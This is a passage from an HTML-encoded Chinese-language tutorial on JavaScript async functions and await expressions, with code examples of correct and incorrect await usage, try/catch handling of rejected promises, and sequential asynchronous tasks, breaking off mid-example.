&#x8868;&#x8FBE;&#x5F0F;&#x3002;await &#x8868;&#x8FBE;&#x5F0F;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728; Promise &#x5BF9;&#x8C61;&#x524D;&#x589E;&#x52A0; <code>await</code> &#x5173;&#x952E;&#x5B57;&#x5373;&#x53EF;&#xFF0C;&#x540C;&#x65F6; await &#x8868;&#x8FBE;&#x5F0F;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x5C31;&#x662F; Promise &#x901A;&#x8FC7; resolve() &#x6240;&#x8FD4;&#x56DE;&#x7684;&#x7ED3;&#x679C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// sleep(1000) &#x8FD4;&#x56DE; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x5728; 1s &#x540E; resolve</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// val1 === &apos;Hello World&apos;</span>\n  <span class=\"token keyword\">let</span> val1 <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x7B49;&#x5F85; 1s &#x540E;&#x5BF9; val2 &#x8FDB;&#x884C;&#x8D4B;&#x503C;</span>\n  <span class=\"token comment\">// val2 === &apos;Hello World&apos;</span>\n  <span class=\"token keyword\">let</span> val2 <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>await &#x8868;&#x8FBE;&#x5F0F;&#x53EF;&#x4EE5;&#x4F5C;&#x4E3A; Async &#x51FD;&#x6570;&#x7684;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6253;&#x5370; Hello World</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5F53; <code>await</code> &#x5173;&#x952E;&#x5B57;&#x540E;&#x9762;&#x8DDF;&#x7684;&#x4E0D;&#x662F; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x4F1A;&#x81EA;&#x52A8;&#x5C06;&#x5176;&#x8F6C;&#x6362;&#x4E3A; Promise &#x5BF9;&#x8C61;&#x7684;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x4ECE; Async &#x51FD;&#x6570;&#x4F53;&#x5185;&#x8282;&#x9009;</span>\n\n<span class=\"token keyword\">let</span> val <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token string\">&apos;Hello World&apos;</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">let</span> val <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5F53; Async &#x51FD;&#x6570;&#x6267;&#x884C;&#x5230; await &#x8868;&#x8FBE;&#x5F0F;&#x7684;&#x65F6;&#x5019;&#x4F1A;&#x6682;&#x505C;&#x6267;&#x884C;&#xFF0C;&#x7B49;&#x5F85; await &#x8868;&#x8FBE;&#x5F0F;&#x7684; Promise &#x5BF9;&#x8C61;&#x72B6;&#x6001;&#x53D1;&#x751F;&#x53D8;&#x66F4;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x53BB;&#x6267;&#x884C;&#x540E;&#x7EED;&#x7684;&#x6B65;&#x9AA4;&#x3002;</p>\n<h3 id=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;\"><a name=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;\" class=\"plugin-anchor\" href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>await &#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;</h3>\n<p>&#x9700;&#x8981;&#x5F3A;&#x8C03;&#x7684;&#x662F;&#xFF0C;await &#x8868;&#x8FBE;&#x5F0F;&#x53EA;&#x80FD;&#x5728; Async &#x51FD;&#x6570;&#x4E2D;&#x4F7F;&#x7528;&#xFF0C;&#x5982;&#x679C;&#x5728;&#x8FD9;&#x4E2A;&#x8303;&#x56F4;&#x4E4B;&#x5916;&#x4F7F;&#x7528;&#xFF0C;&#x7A0B;&#x5E8F;&#x5C06;&#x4F1A;&#x62A5;&#x8BED;&#x6CD5;&#x9519;&#x8BEF;&#xFF08;SynaxError&#xFF09;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x4E3E;&#x4F8B;&#x4E86;&#x4E00;&#x4E9B;&#x5E38;&#x89C1;&#x7684;&#x9519;&#x8BEF;&#x7528;&#x6CD5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x9519;&#x8BEF;&#xFF0C;await &#x8868;&#x8FBE;&#x5F0F;&#x5FC5;&#x987B;&#x5728; Async &#x51FD;&#x6570;&#x4E2D;&#x6267;&#x884C;</span>\n<span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x9519;&#x8BEF;&#xFF0C;foo &#x4E0D;&#x662F; Async &#x51FD;&#x6570;</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">foo</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x9519;&#x8BEF;&#xFF0C;&#x56E0;&#x4E3A;&#x8BE5;&#x533F;&#x540D;&#x51FD;&#x6570;&#x4E0D;&#x662F; Async &#x51FD;&#x6570;</span>\n    <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">bar</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> intervals <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">1000</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">]</span>\n  intervals<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">interval</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x9519;&#x8BEF;&#xFF0C;&#x56E0;&#x4E3A;&#x8BE5;&#x533F;&#x540D;&#x51FD;&#x6570;&#x4E0D;&#x662F; Async &#x51FD;&#x6570;</span>\n    <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;\"><a name=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;\" class=\"anchor-navigation-ex-anchor\" href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;\" class=\"plugin-anchor\" href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>await &#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;</h3>\n<p><code>await</code> &#x5173;&#x952E;&#x5B57;&#x540E;&#x9762;&#x8DDF;&#x7684; Promise &#x5BF9;&#x8C61;&#x53EF;&#x80FD;&#x4F1A;&#x6267;&#x884C; reject&#xFF0C;&#x8FD9;&#x65F6; await &#x8868;&#x8FBE;&#x5F0F;&#x5C31;&#x4F1A;&#x629B;&#x51FA;&#x5F02;&#x5E38;&#xFF0C;&#x5F02;&#x5E38;&#x503C;&#x5C31;&#x662F; reject &#x65B9;&#x6CD5;&#x6240;&#x56DE;&#x4F20;&#x7684;&#x503C;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>try/catch</code> &#x6355;&#x83B7;&#x8FD9;&#x4E2A;&#x5F02;&#x5E38;&#x5E76;&#x8FDB;&#x884C;&#x5904;&#x7406;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x53D1;&#x751F;&#x9519;&#x8BEF;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6253;&#x5370; &apos;&#x53D1;&#x751F;&#x9519;&#x8BEF;&apos;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x6548;&#x679C;&#x4E0E;&#x76F4;&#x63A5;&#x5BF9; Promise &#x5BF9;&#x8C61;&#x7684;&#x5F02;&#x5E38;&#x8FDB;&#x884C;&#x6355;&#x83B7;&#x662F;&#x7B49;&#x4EF7;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x53D1;&#x751F;&#x9519;&#x8BEF;&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x6253;&#x5370; &apos;&#x53D1;&#x751F;&#x9519;&#x8BEF;&apos;</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x4E0D;&#x5BF9; await &#x8868;&#x8FBE;&#x5F0F;&#x7684;&#x629B;&#x9519;&#x8FDB;&#x884C;&#x6355;&#x83B7;&#x5904;&#x7406;&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x4E2A;&#x9519;&#x8BEF;&#x4F1A;&#x7EE7;&#x7EED;&#x5411;&#x5916;&#x4F20;&#x9012;&#xFF0C;&#x5E76;&#x6700;&#x7EC8;&#x4EE5; Promise.reject &#x7684;&#x65B9;&#x5F0F;&#x5C06;&#x9519;&#x8BEF;&#x629B;&#x5230; Async &#x51FD;&#x6570;&#x5916;&#x90E8;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x53D1;&#x751F;&#x9519;&#x8BEF;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x6253;&#x5370; &apos;&#x53D1;&#x751F;&#x9519;&#x8BEF;&apos;</span>\n<span class=\"token function\">foo</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"async-&#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;\"><a name=\"async-&#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#async-&#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"async-&#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;\" class=\"plugin-anchor\" href=\"#async-&#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Async &#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;</h2>\n<p>&#x901A;&#x8FC7;&#x4E0A;&#x9762;&#x7684;&#x5B66;&#x4E60;&#x5BF9; Async &#x51FD;&#x6570;&#x7684;&#x8BED;&#x6CD5;&#x548C;&#x529F;&#x80FD;&#x6709;&#x4E86;&#x4E00;&#x5B9A;&#x7684;&#x4E86;&#x89E3;&#x4E4B;&#x540E;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x51C6;&#x5907;&#x51E0;&#x4E2A;&#x793A;&#x4F8B;&#x6765;&#x52A0;&#x6DF1;&#x7406;&#x89E3;&#x3002;</p>\n<h3 id=\"&#x5E38;&#x89C4;&#x7528;&#x6CD5;\"><a name=\"&#x5E38;&#x89C4;&#x7528;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5E38;&#x89C4;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5E38;&#x89C4;&#x7528;&#x6CD5;\" class=\"plugin-anchor\" href=\"#&#x5E38;&#x89C4;&#x7528;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5E38;&#x89C4;&#x7528;&#x6CD5;</h3>\n<p>&#x5728;&#x672C;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x5C06;&#x6F14;&#x793A;&#x5982;&#x4F55;&#x5B9A;&#x4E49;&#x5E76;&#x4F7F;&#x7528;&#x5F02;&#x6B65;&#x51FD;&#x6570;&#x3001;&#x8BFB;&#x53D6;&#x5F02;&#x6B65;&#x6570;&#x636E;&#x3001;&#x6355;&#x83B7;&#x5F02;&#x6B65;&#x5F02;&#x5E38;&#x7B49;&#x7B49;&#x3002;</p>\n<p>&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x6F14;&#x793A;&#x4E86;&#x8FD9;&#x6837;&#x4E00;&#x4E2A;&#x8FC7;&#x7A0B;&#xFF0C;&#x9996;&#x5148;&#x6267;&#x884C; getRandomNumber() &#x5F02;&#x6B65;&#x5730;&#x83B7;&#x53D6;&#x4E00;&#x4E2A; 0 - 1 &#x4E4B;&#x95F4;&#x7684;&#x968F;&#x673A;&#x6570;&#xFF0C;&#x7136;&#x540E;&#x9001;&#x5165; shouldLargerThan() &#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x68C0;&#x67E5;&#xFF0C;&#x5F53;&#x968F;&#x673A;&#x6570;&#x5C0F;&#x4E8E;&#x7ED9;&#x5B9A;&#x7684;&#x6570;&#x503C; 0.5 &#x65F6;&#xFF0C;&#x629B;&#x51FA;&#x5F02;&#x5E38;&#xFF0C;&#x53CD;&#x4E4B;&#x5219;&#x901A;&#x8FC7;&#x3002;</p>\n<p>&#x9996;&#x5148;&#x7B80;&#x5355;&#x5B9E;&#x73B0; getRandomNumber &#x548C; shouldLargerThan &#x7684;&#x529F;&#x80FD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x4E00;&#x79D2;&#x540E;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; 0 - 1 &#x7684;&#x968F;&#x673A;&#x6570;</span>\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">getRandomNumber</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x4E00;&#x79D2;&#x540E;&#x67E5;&#x770B;&#x4F20;&#x5165;&#x7684;&#x6570;&#x5B57;&#x662F;&#x5426;&#x5927;&#x4E8E;&#x671F;&#x671B;&#x503C; spec</span>\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">shouldLargerThan</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">spec<span class=\"token punctuation\">,</span> num</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x5F53;&#x6570;&#x503C;&#x5C0F;&#x4E8E; 0.5 &#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>num <span class=\"token operator\">&lt;</span> spec<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">throw</span> <span class=\"token string\">&apos;&#x5C0F;&#x4E8E; &apos;</span> <span class=\"token operator\">+</span> spec\n  <span class=\"token punctuation\">}</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5927;&#x4E8E;&#x7B49;&#x4E8E; &apos;</span> <span class=\"token operator\">+</span> spec<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5C31;&#x53EF;&#x4EE5;&#x5B9A;&#x4E49;&#x6267;&#x884C;&#x6574;&#x4E2A;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x7684; Async &#x51FD;&#x6570; <code>run()</code>&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">run</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5F02;&#x6B65;&#x6570;&#x636E;</span>\n  <span class=\"token keyword\">let</span> num <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">getRandomNumber</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">await</span> <span class=\"token function\">shouldLargerThan</span><span class=\"token punctuation\">(</span><span class=\"token number\">0.5</span><span class=\"token punctuation\">,</span> num<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6355;&#x83B7;&#x5F02;&#x5E38;</span>\n    <span class=\"token comment\">// &#x6253;&#x5370; &apos;&#x5C0F;&#x4E8E; 0.5&apos;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">error</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7ED3;&#x675F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4EFB;&#x52A1;&#x5168;&#x90E8;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// ... &#xFF08;&#x7B49;&#x5F85; 1s&#xFF09;</span>\n<span class=\"token comment\">// 0.3&#xFF08;&#x5047;&#x8BBE;&#x751F;&#x6210;&#x7684;&#x968F;&#x673A;&#x6570;&#x4E3A; 0.3&#xFF09;</span>\n<span class=\"token comment\">// ... &#xFF08;&#x7B49;&#x5F85; 1s&#xFF09;</span>\n<span class=\"token comment\">// &#x5C0F;&#x4E8E; 0.5</span>\n<span class=\"token comment\">// &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// &#x4EFB;&#x52A1;&#x5168;&#x90E8;&#x6267;&#x884C;&#x5B8C;&#x6BD5;</span>\n</code></pre>\n<h3 id=\"&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><a name=\"&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\" class=\"plugin-anchor\" href=\"#&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;</h3>\n<p>&#x9996;&#x5148;&#x6211;&#x4EEC;&#x5B9A;&#x4E49; 3 &#x4E2A;&#x5F02;&#x6B65;&#x6267;&#x884C;&#x7684;&#x4EFB;&#x52A1;&#xFF0C;&#x4ED6;&#x4EEC;&#x90FD;&#x4F1A;&#x5728;&#x4EFB;&#x52A1;&#x5F00;&#x59CB;&#x7684;&#x65F6;&#x5019;&#x6253;&#x5370;&#x4EFB;&#x52A1;&#x5F00;&#x59CB;&#x4FE1;&#x606F;&#xFF0C;&#x7B49;&#x5F85;&#x4E00;&#x79D2;&#x4E4B;&#x540E;&#x518D;&#x6253;&#x5370;&#x4EFB;&#x52A1;&#x7ED3;&#x675F;&#x4FE1;&#x606F;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">task1</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Task1 &#x5F00;&#x59CB;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Task1 &#x7ED3;&#x675F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">task2</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Task2 &#x5F00;&#x59CB;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Task2 &#x7ED3;&#x675F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">task3</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Task3 